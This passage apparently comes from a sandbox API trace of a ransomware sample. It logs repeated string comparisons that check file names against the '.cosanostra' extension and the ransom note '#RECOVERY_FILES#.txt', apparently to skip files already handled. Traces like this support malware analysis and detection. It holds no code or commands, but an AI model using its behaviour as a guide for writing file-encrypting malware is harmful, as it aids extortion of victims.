StrStrIW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1="F90F18257CBB4D84216AC1E1F3BB2C76", lpString2="_uninstalling_.png") returned 1 [0089.595] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.595] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.595] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.595] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.596] StrStrIW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.596] lstrcmpW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2="_uninstalling_.png") returned 1 [0089.596] StrStrIW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch=".cosanostra") returned 0x0 [0089.596] lstrcmpW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch=".cosanostra") returned 0x0 [0089.597] lstrcmpW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.597] lstrcmpW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2="_uninstalling_.png") returned 1 [0089.597] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2="_uninstalling_.png") returned 1 [0089.598] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch=".cosanostra") returned 0x0 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.598] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2="_uninstalling_.png") returned 1 [0089.599] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch=".cosanostra") returned 0x0 [0089.599] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.599] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpSrch=".cosanostra") returned 0x0 [0089.600] lstrcmpW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.600] lstrcmpW (lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", lpString2="_uninstalling_.png") returned 1 [0089.600] StrStrIW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch=".cosanostra") returned 0x0 [0089.601] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.601] lstrcmpW (lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpString2="_uninstalling_.png") returned 1 [0089.601] StrStrIW 